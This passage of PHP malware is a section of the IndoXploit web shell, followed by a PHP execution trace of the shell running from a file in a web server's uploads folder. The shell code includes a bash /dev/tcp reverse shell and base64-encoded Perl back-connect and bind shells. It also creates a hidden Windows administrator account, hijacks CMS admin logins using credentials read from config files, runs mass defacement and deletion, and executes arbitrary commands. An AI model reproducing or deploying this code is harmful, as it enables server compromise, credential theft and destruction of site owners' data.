"Hostbills"\n\n\t\t\t\t\t);\n\t\t\t\t\tforeach($getconfig as $config => $userconfig) {\n\t\t\t\t\t\t$get = file_get_contents($config);\n\t\t\t\t\t\tif($get == \'\') {\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t$fopen = fopen("idx_config/$user-$userconfig.txt", "w");\n\t\t\t\t\t\t\tfputs($fopen, $get);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprint "";\n\t\tprint "";\n\t\tprint "
";\n\t}\n\telseif($toolsname === "network") {\n\t\t$args = explode(" ", $args);\n\n\t\tif($args[0] === "bc") {\n\t\t\tif(empty($args[1])) die(color(1, 1, "Set Your IP for BackConnect!"));\n\t\t\tif(empty($args[2])) die(color(1, 1, "Set Your PORT for BackConnect!"));\n\t\t\tif(empty($args[3])) die(color(1, 1, "Missing type of reverse shell: \'bash\', \'perl\'."));\n\n\t\t\tif($args[3] === "bash") {\n\t\t\t\texe("/bin/bash -i >& /dev/tcp/".$args[1]."/".$args[2]." 0>&1");\n\t\t\t}\n\t\t\telseif($args[3] === "perl") {\n\t\t\t\t$bc[\'code\'] = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\n\t\t\t\tsave("/tmp/bc.pl", "w", base64_decode($bc[\'code\']));\n\t\t\t\t$bc[\'exec\'] = exe("perl /tmp/bc.pl ".$args[1]." ".$args[2]." 1>/dev/null 2>&1 &");\n\t\t\t\tsleep(1);\n\t\t\t\tprint "".$bc[\'exec\']."\\n".exe("ps aux | grep bc.pl")."";\n\t\t\t\t@unlink("/tmp/bc.pl");\n\t\t\t}\n\t\t}\n\t\telseif($args[0] === "bp") {\n\t\t\tif(empty($args[1])) die(color(1, 1, "Set Your PORT for Bind Port!"));\n\t\t\tif(empty($args[2])) die(color(1, 1, "Missing type of reverse shell: \'bash\', \'perl\'."));\n\n\t\t\tif($args[2] === "perl") {\n\t\t\t\t$bp[\'code\'] = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\n\t\t\t\tsave("/tmp/bp.pl", "w", base64_decode($bp[\'code\']));\n\t\t\t\t$bp[\'exec\'] = exe("perl /tmp/bp.pl ".$args[1]." 1>/dev/null 2>&1 &");\n\t\t\t\tsleep(1);\n\t\t\t\tprint "".$bp[\'exec\']."\\n".exe("ps aux | grep bp.pl")."";\n\t\t\t\t@unlink("/tmp/bp.pl");\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tprint color(1, 1, "Unknown \'".$args[0]."\'");\n\t\t}\n\t}\n\telseif($toolsname === "krdp") {\n\t\t$args = explode(" ", $args);\n\n\t\tif(OS() !== "Windows") die(color(1, 1, "Just For Windows Server"));\n\t\tif(preg_match("/indoxploit/", exe("net user"))) die(color(1, 1, "[INFO] username \'indoxploit\' already exists."));\n\n\t\t$add_user = exe("net user indoxploit indoxploit /add");\n \t$add_groups1 = exe("net localgroup Administrators indoxploit /add");\n \t$add_groups2 = exe("net localgroup Administrator indoxploit /add");\n \t$add_groups3 = exe("net localgroup Administrateur indoxploit /add");\n\n \tprint "[ RDP ACCOUNT INFO ]\n \t------------------------------
\n \tIP: ".color(1, 2, $GLOBALS[\'SERVERIP\'])."
\n \tUsername: ".color(1, 2, "indoxploit")."
\n \tPassword: ".color(1, 2, "indoxploit")."
\n \t------------------------------
\n \t[ STATUS ]
\n \t------------------------------
\n \t";\n\n \tif($add_user) {\n \t\tprint "[add user] -> ".color(1, 2, "SUCCESS")."
";\n \t} \n \telse {\n \t\tprint "[add user] -> ".color(1, 1, "FAILED")."
";\n \t}\n \t\n \tif($add_groups1) {\n \tprint "[add localgroup Administrators] -> ".color(1, 2, "SUCCESS")."
";\n \t} \n \telseif($add_groups2) {\n print "[add localgroup Administrator] -> ".color(1, 2, "SUCCESS")."
";\n \t} \n \telseif($add_groups3) { \n print "[add localgroup Administrateur] -> ".color(1, 2, "SUCCESS")."
";\n \t} \n \telse {\n \t\tprint "[add localgroup] -> ".color(1, 1, "FAILED")."
";\n \t}\n\n \tprint "------------------------------
";\n\t}\n}\n\nfunction files_and_folder() {\n\tif(!is_dir(path())) die(color(1, 1, "Directory \'".path()."\' is not exists."));\n\tif(!is_readable(path())) die(color(1, 1, "Directory \'".path()."\' not readable."));\n\tprint \'
| ".$dirinfo[\'type\']." | ";\n\t\tprint "".$dirinfo[\'size\']." | ";\n\t\tprint "".$dirinfo[\'time\']." | ";\n\t\tprint "".$dirinfo[\'owner\'].DIRECTORY_SEPARATOR.$dirinfo[\'group\']." | ";\n\t\tprint "".$dirinfo[\'perms\']." | ";\n\t\tprint "".$dirinfo[\'action\']." | ";\n\t\tprint "|
| ".$fileinfo[\'type\']." | ";\n\t\tprint "".$fileinfo[\'size\']." | ";\n\t\tprint "".$fileinfo[\'time\']." | ";\n\t\tprint "".$fileinfo[\'owner\'].DIRECTORY_SEPARATOR.$fileinfo[\'group\']." | ";\n\t\tprint "".$fileinfo[\'perms\']." | ";\n\t\tprint "edit | rename | delete | download | ";\n\t\tprint "
";\n\tprint "
- ";\n\tprint "
- [ Home ] ";\n\tprint "
- [ Fake Root ] ";\n\tprint "
- [ cPanel Crack ] ";\n\tprint "
- [ Mass Password Change ] ";\n\tprint "
- [ Mass Deface/Delete ] ";\n\tprint "
- [ Local Root Exploiter ] ";\n\tprint "
- [ Zone-H ] ";\n\tprint "
";\n\n\n\tif(isset($_GET[\'do\'])) {\n\t\tif($_GET[\'do\'] === "cmd") {\n\t\t\tif(isset($_POST[\'cmd\'])) {\n\t\t\t\tif(preg_match("/^rf (.*)$/", $_POST[\'cmd\'], $match)) {\n\t\t\t\t\ttools("readfile", $match[1]);\n\t\t\t\t}\n\t\t\t\telseif(preg_match("/^spawn (.*)$/", $_POST[\'cmd\'], $match)) {\n\t\t\t\t\ttools("spawn", $match[1]);\n\t\t\t\t}\n\t\t\t\telseif(preg_match("/^symlink$/", $_POST[\'cmd\'], $match)) {\n\t\t\t\t\ttools("symlink");\n\t\t\t\t}\n\t\t\t\telseif(preg_match("/^rvr (.*)$/", $_POST[\'cmd\'], $match)) {\n\t\t\t\t\ttools("network", $match[1]);\n\t\t\t\t}\n\t\t\t\telseif(preg_match("/^krdp$/", $_POST[\'cmd\'])) {\n\t\t\t\t\ttools("krdp");\n\t\t\t\t}\n\t\t\t\telseif(preg_match("/^jumping$/", $_POST[\'cmd\'])) {\n\t\t\t\t\ttools("jumping");\n\t\t\t\t}\n\t\t\t\telseif(preg_match("/^idxconfig$/", $_POST[\'cmd\'])) {\n\t\t\t\t\ttools("idxconfig");\n\t\t\t\t}\n\t\t\t\telseif(preg_match("/^logout$/", $_POST[\'cmd\'])) {\n\t\t\t\t\tunset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]);\n\t\t\t\t\tprint "";\n\t\t\t\t}\n\t\t\t\telseif(preg_match("/^killme$/", $_POST[\'cmd\'])) {\n\t\t\t\t\tunset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]);\n\t\t\t\t\t@unlink(__FILE__);\n\t\t\t\t\tprint "";\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tprint "
".exe($_POST[\'cmd\'])."";\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tfiles_and_folder();\n\t\t\t}\n\t\t}\n\t\telseif($_GET[\'do\'] === "zoneh") {\n\t\t\tif(isset($_POST[\'submit\']) AND $_GET[\'do\'] === "zoneh") {\n\t\t\t\t$nick \t= $_POST[\'nick\'];\n\t\t\t\t$domain = explode("\\r\\n", $_POST[\'url\']);\n\n\t\t\t\tprint "Defacer Onhold: http://www.zone-h.org/archive/notifier=$nick/published=0
";\n\t\t\t\tprint "Defacer Archive: http://www.zone-h.org/archive/notifier=$nick
";\n\t\n\t\t\t\tforeach($domain as $no => $url) {\n\t\t\t\t\t$no = ($no+1).".";\n\t\t\t\t\t$post = curl("http://www.zone-h.org/notify/single", TRUE, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");\n\t\t\t\t\tif(preg_match("/color=\\"red\\">OK<\\/font><\\/li>/i", $post)) {\n\t\t\t\t\t\tprint "$no $url -> ".color(1, 2, "OK")."
";\n\t\t\t\t\t} else {\n\t\t\t\t\t\tprint "$no $url -> ".color(1, 1, "ERROR")."
";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tprint "
";\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tprint (empty($domain)) ? color(1, 1, "Can\'t get domain name.") : color(1, 2, $domain);\n\t\t\t\t\t\t\t\t\tprint ")
";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tmysql_close($connect);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tprint ($i === 0) ? "" : "
".color(1, 3, "Sukses nyolong $i Cpanel by IndoXploit")."
";\n\t\t\t} else {\n\t\t\t\tprint "\n\t\t\t\t\t
";\n\t\t\t\t\t\t\tprint "CMS => Joomla
";\n\t\t\t\t\t\t\tif($site == \'\') {\n\t\t\t\t\t\t\t\tprint "Sitename => ".color(1, 1, "Can\'t get domain name")."
";\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\tprint "Sitename => $site
";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif(!$update OR !$conn OR !$db) {\n\t\t\t\t\t\t\t\tprint "Status => ".color(1, 1, mysql_error())."
";\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\tprint "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."
";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tmysql_close($conn);\n\t\t\t\t\t\t} elseif(preg_match("/WordPress/",$config)) {\n\t\t\t\t\t\t\t$dbhost = getValue($config,"DB_HOST\', \'","\'");\n\t\t\t\t\t\t\t$dbuser = getValue($config,"DB_USER\', \'","\'");\n\t\t\t\t\t\t\t$dbpass = getValue($config,"DB_PASSWORD\', \'","\'");\n\t\t\t\t\t\t\t$dbname = getValue($config,"DB_NAME\', \'","\'");\n\t\t\t\t\t\t\t$dbprefix = getValue($config,"table_prefix = \'","\'");\n\t\t\t\t\t\t\t$prefix = $dbprefix."users";\n\t\t\t\t\t\t\t$option = $dbprefix."options";\n\t\t\t\t\t\t\t$conn = mysql_connect($dbhost,$dbuser,$dbpass);\n\t\t\t\t\t\t\t$db = mysql_select_db($dbname);\n\t\t\t\t\t\t\t$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");\n\t\t\t\t\t\t\t$result = mysql_fetch_array($q);\n\t\t\t\t\t\t\t$id = $result[ID];\n\t\t\t\t\t\t\t$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");\n\t\t\t\t\t\t\t$result2 = mysql_fetch_array($q2);\n\t\t\t\t\t\t\t$target = $result2[option_value];\n\t\t\t\t\t\t\tif($target == \'\') {\n\t\t\t\t\t\t\t\t$url_target = "Login => ".color(1, 1, "Cant\'t get domain name")."
";\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t$url_target = "Login => $target/wp-login.php
";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$update = mysql_query("UPDATE $prefix SET user_login=\'$user_baru\',user_pass=\'$pass_baru\' WHERE id=\'$id\'");\n\t\t\t\t\t\t\tprint "Config => ".$file_conf."
";\n\t\t\t\t\t\t\tprint "CMS => Wordpress
";\n\t\t\t\t\t\t\tprint $url_target;\n\t\t\t\t\t\t\tif(!$update OR !$conn OR !$db) {\n\t\t\t\t\t\t\t\tprint "Status => ".color(1, 1, mysql_error())."
";\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\tprint "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."
";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tmysql_close($conn);\n\t\t\t\t\t\t} \n\t\t\t\t\t\telseif(preg_match("/Magento|Mage_Core/",$config)) {\n\t\t\t\t\t\t\t$dbhost = getValue($config,"
";\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t$url_target = "Login => $target/admin/
";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$update = mysql_query("UPDATE $prefix SET username=\'$user_baru\',password=\'$pass_baru\' WHERE user_id=\'$id\'");\n\t\t\t\t\t\t\tprint "Config => ".$file_conf."
";\n\t\t\t\t\t\t\tprint "CMS => Magento
";\n\t\t\t\t\t\t\tprint $url_target;\n\t\t\t\t\t\t\tif(!$update OR !$conn OR !$db) {\n\t\t\t\t\t\t\t\tprint "Status => ".color(1, 1, mysql_error())."
";\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\tprint "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."
";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tmysql_close($conn);\n\t\t\t\t\t\t} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {\n\t\t\t\t\t\t\t$dbhost = getValue($config,"\'DB_HOSTNAME\', \'","\'");\n\t\t\t\t\t\t\t$dbuser = getValue($config,"\'DB_USERNAME\', \'","\'");\n\t\t\t\t\t\t\t$dbpass = getValue($config,"\'DB_PASSWORD\', \'","\'");\n\t\t\t\t\t\t\t$dbname = getValue($config,"\'DB_DATABASE\', \'","\'");\n\t\t\t\t\t\t\t$dbprefix = getValue($config,"\'DB_PREFIX\', \'","\'");\n\t\t\t\t\t\t\t$prefix = $dbprefix."user";\n\t\t\t\t\t\t\t$conn = mysql_connect($dbhost,$dbuser,$dbpass);\n\t\t\t\t\t\t\t$db = mysql_select_db($dbname);\n\t\t\t\t\t\t\t$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");\n\t\t\t\t\t\t\t$result = mysql_fetch_array($q);\n\t\t\t\t\t\t\t$id = $result[user_id];\n\t\t\t\t\t\t\t$target = getValue($config,"HTTP_SERVER\', \'","\'");\n\t\t\t\t\t\t\tif($target == \'\') {\n\t\t\t\t\t\t\t\t$url_target = "Login => ".color(1, 1, "Cant\'t get domain name")."
";\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t$url_target = "Login => $target
";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$update = mysql_query("UPDATE $prefix SET username=\'$user_baru\',password=\'$pass_baru\' WHERE user_id=\'$id\'");\n\t\t\t\t\t\t\tprint "Config => ".$file_conf."
";\n\t\t\t\t\t\t\tprint "CMS => OpenCart
";\n\t\t\t\t\t\t\tprint $url_target;\n\t\t\t\t\t\t\tif(!$update OR !$conn OR !$db) {\n\t\t\t\t\t\t\t\tprint "Status => ".color(1, 1, mysql_error())."
";\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\tprint "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."
";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tmysql_close($conn);\n\t\t\t\t\t\t} \n\t\t\t\t\t\telseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {\n\t\t\t\t\t\t\t$dbhost = getValue($config,\'server = "\',\'"\');\n\t\t\t\t\t\t\t$dbuser = getValue($config,\'username = "\',\'"\');\n\t\t\t\t\t\t\t$dbpass = getValue($config,\'password = "\',\'"\');\n\t\t\t\t\t\t\t$dbname = getValue($config,\'database = "\',\'"\');\n\t\t\t\t\t\t\t$prefix = "users";\n\t\t\t\t\t\t\t$option = "identitas";\n\t\t\t\t\t\t\t$conn = mysql_connect($dbhost,$dbuser,$dbpass);\n\t\t\t\t\t\t\t$db = mysql_select_db($dbname);\n\t\t\t\t\t\t\t$q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");\n\t\t\t\t\t\t\t$result = mysql_fetch_array($q);\n\t\t\t\t\t\t\t$target = $result[alamat_website];\n\t\t\t\t\t\t\tif($target == \'\') {\n\t\t\t\t\t\t\t\t$target2 = $result[url];\n\t\t\t\t\t\t\t\t$url_target = "Login => ".color(1, 1, "Cant\'t get domain name")."
";\n\t\t\t\t\t\t\t\tif($target2 == \'\') {\n\t\t\t\t\t\t\t\t\t$url_target2 = "Login => ".color(1, 1, "Cant\'t get domain name")."
";\n\t\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\t$cek_login3 = file_get_contents("$target2/adminweb/");\n\t\t\t\t\t\t\t\t\t$cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");\n\t\t\t\t\t\t\t\t\tif(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {\n\t\t\t\t\t\t\t\t\t\t$url_target2 = "Login => $target2/adminweb
";\n\t\t\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t\t\telseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {\n\t\t\t\t\t\t\t\t\t\t$url_target2 = "Login => $target2/lokomedia/adminweb
";\n\t\t\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\t\t$url_target2 = "Login => $target2 [ gatau admin login nya dimana :p ]
";\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$cek_login = file_get_contents("$target/adminweb/");\n\t\t\t\t\t\t\t\t$cek_login2 = file_get_contents("$target/lokomedia/adminweb/");\n\t\t\t\t\t\t\t\tif(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {\n\t\t\t\t\t\t\t\t\t$url_target = "Login => $target/adminweb
";\n\t\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t\telseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {\n\t\t\t\t\t\t\t\t\t$url_target = "Login => $target/lokomedia/adminweb
";\n\t\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\t$url_target = "Login => $target [ gatau admin login nya dimana :p ]
";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$update = mysql_query("UPDATE $prefix SET username=\'$user_baru\',password=\'$pass_baru\' WHERE level=\'admin\'");\n\t\t\t\t\t\t\tprint "Config => ".$file_conf."
";\n\t\t\t\t\t\t\tprint "CMS => Lokomedia
";\n\t\t\t\t\t\t\tif(preg_match("/Can\'t get domain name/", $url_target)) {\n\t\t\t\t\t\t\t\tprint $url_target2;\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\tprint $url_target;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif(!$update OR !$conn OR !$db) {\n\t\t\t\t\t\t\t\tprint "Status => ".color(1, 1, mysql_error())."
";\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\tprint "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."
";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tmysql_close($conn);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} \n\t\t\telse {\n\t\t\t\tprint "
Mass Password Change
\n\t\t\t\t";\n\t\t\t\t\tmassdeface($_POST[\'d_dir\'], $_POST[\'script\'], $_POST[\'d_file\']);\n\t\t\t\t\tprint "
";\n\t\t\t\t} \n\t\t\t\telseif($_POST[\'mass_type\'] === \'alldir\') {\n\t\t\t\t\tprint "";\n\t\t\t\t\tmassdeface($_POST[\'d_dir\'], $_POST[\'script\'], $_POST[\'d_file\'], "-alldir");\n\t\t\t\t\tprint "
";\n\t\t\t\t}\n\t\t\t\telseif($_POST[\'mass_type\'] === "delete") {\n\t\t\t\t\tprint "";\n\t\t\t\t\tmassdelete($_POST[\'d_dir\'], $_POST[\'d_file\']);\n\t\t\t\t\tprint "
";\n\t\t\t\t}\n\t\t\t} \n\t\t\telse {\n\t\t\t\tprint "";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tprint "
\n\t\t\t\tNB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.
";\n\t\t\t}\n\t\t\tprint "";\n\t\t} \n\t\telseif($_GET[\'act\'] === \'delete_folder\') {\n\t\t\tif(is_dir(path())) {\n\t\t\t\tif(is_writable(path())) {\n\t\t\t\t\t@rmdir(path());\n\t\t\t\t\tif(!@rmdir(path()) AND OS() === "Linux") @exe("rm -rf ".path());\n\t\t\t\t\tif(!@rmdir(path()) AND OS() === "Windows") @exe("rmdir /s /q ".path());\n\t\t\t\t\t$act = "";\n\t\t\t\t} \n\t\t\t\telse {\n\t\t\t\t\t$act = color(1, 1, "Could not remove directory \'".basename(path())."\'");\n\t\t\t\t}\n\t\t\t}\n\t\t\tprint $act;\n\t\t} \n\t\telseif($_GET[\'act\'] === \'view\') {\n\t\t\tprint "Filename: ".color(1, 2, basename($_GET[\'file\']))." [".writeable($_GET[\'file\'], perms($_GET[\'file\']))."]
";\n\t\t\tprint "[ view ] [ edit ] [ rename ] [ download ] [ delete ]
";\n\t\t\tprint "";\n\t\t} \n\t\telseif($_GET[\'act\'] === \'edit\') {\n\t\t\tif($_POST[\'save\']) {\n\t\t\t\t$save = file_put_contents($_GET[\'file\'], $_POST[\'src\']);\n\t\t\t\tif($save) {\n\t\t\t\t\t$act = color(1, 2, "File Saved!");\n\t\t\t\t} \n\t\t\t\telse {\n\t\t\t\t\t$act = color(1, 1, "Permission Denied!");\n\t\t\t\t}\n\t\t\t\tprint "$act
";\n\t\t\t}\n\n\t\t\tprint "Filename: ".color(1, 2, basename($_GET[\'file\']))." [".writeable($_GET[\'file\'], perms($_GET[\'file\']))."]
";\n\t\t\tprint "[ view ] [ edit ] [ rename ] [ download ] [ delete ]
";\n\t\t\tprint "";\n\t\t} \n\t\telseif($_GET[\'act\'] === \'rename\') {\n\t\t\tif($_POST[\'save\']) {\n\t\t\t\t$rename = rename($_GET[\'file\'], path().DIRECTORY_SEPARATOR.htmlspecialchars($_POST[\'filename\']));\n\t\t\t\tif($rename) {\n\t\t\t\t\t$act = "";\n\t\t\t\t} \n\t\t\t\telse {\n\t\t\t\t\t$act = color(1, 1, "Permission Denied!");\n\t\t\t\t}\n\t\t\t\tprint "$act
";\n\t\t\t}\n\n\t\t\tprint "Filename: ".color(1, 2, basename($_GET[\'file\']))." [".writeable($_GET[\'file\'], perms($_GET[\'file\']))."]
";\n\t\t\tprint "[ view ] [ edit ] [ rename ] [ download ] [ delete ]
";\n\t\t\tprint "";\n\t\t}\n\t\telseif($_GET[\'act\'] === \'delete\') {\n\t\t\t$delete = unlink($_GET[\'file\']);\n\t\t\tif($delete) {\n\t\t\t\t$act = "";\n\t\t\t} \n\t\t\telse {\n\t\t\t\t$act = color(1, 1, "Permission Denied!");\n\t\t\t}\n\t\t\tprint $act;\n\t\t}\n\t}\n\telse {\n\t\tfiles_and_folder();\n\t}\n}\n\nserverinfo();\naction();\n?>\n\n\n\n' /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code 1 0 4 15 0 0.008682 1066368 session_start 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 2 0 4 15 1 0.008785 1067120 4 15 R TRUE 4 16 0 0.008804 1067120 error_reporting 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 3 1 0 4 16 1 0.008820 1067160 4 16 R 0 4 17 0 0.008834 1067120 set_time_limit 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 4 1 0 4 17 1 0.008853 1067184 4 17 R FALSE 4 18 0 0.008867 1067152 version_compare 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 6 3 '7.2.34-37+ubuntu22.04.1+deb.sury.org+1' '5.3.0' '<' 4 18 1 0.008886 1067248 4 18 R FALSE 4 19 0 0.008899 1067152 clearstatcache 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 10 0 4 19 1 0.008913 1067152 4 19 R NULL 4 20 0 0.008926 1067152 ini_set 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 11 2 'error_log' NULL 4 20 1 0.008943 1067224 4 20 R '' 4 21 0 0.008956 1067152 ini_set 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 12 2 'log_errors' 0 4 21 1 0.008971 1067224 4 21 R '1' 4 22 0 0.008985 1067152 ini_set 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 13 2 'max_execution_time' 0 4 22 1 0.009000 1067192 4 22 R '0' 4 23 0 0.009013 1067120 ini_set 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 14 2 'output_buffering' 0 4 23 1 0.009033 1067192 4 23 R FALSE 4 24 0 0.009047 1067120 ini_set 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 15 2 'display_errors' 0 4 24 1 0.009061 1067192 4 24 R '' 3 A /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 17 $password = '7b4939a8af28c814f0c757bb10f40d3d' 3 A /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 19 $SERVERIP = '127.0.0.1' 4 25 0 0.009106 1067120 path 1 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 20 0 5 26 0 0.009120 1067120 getcwd 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 247 0 5 26 1 0.009135 1067168 5 26 R '/var/www/html/uploads' 5 27 0 0.009150 1067168 str_replace 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 247 3 '\\' '/' '/var/www/html/uploads' 5 27 1 0.009166 1067264 5 27 R '/var/www/html/uploads' 4 A /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 247 $dir = '/var/www/html/uploads' 4 25 1 0.009193 1067168 4 25 R '/var/www/html/uploads' 4 28 0 0.009207 1067168 str_replace 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 20 3 '/var/www/html' '' '/var/www/html/uploads' 4 28 1 0.009222 1067304 4 28 R '/uploads' 3 A /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 20 $FILEPATH = '/uploads' 3 A /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 23 $userAgents = [0 => 'Googlebot', 1 => 'Slurp', 2 => 'MSNBot', 3 => 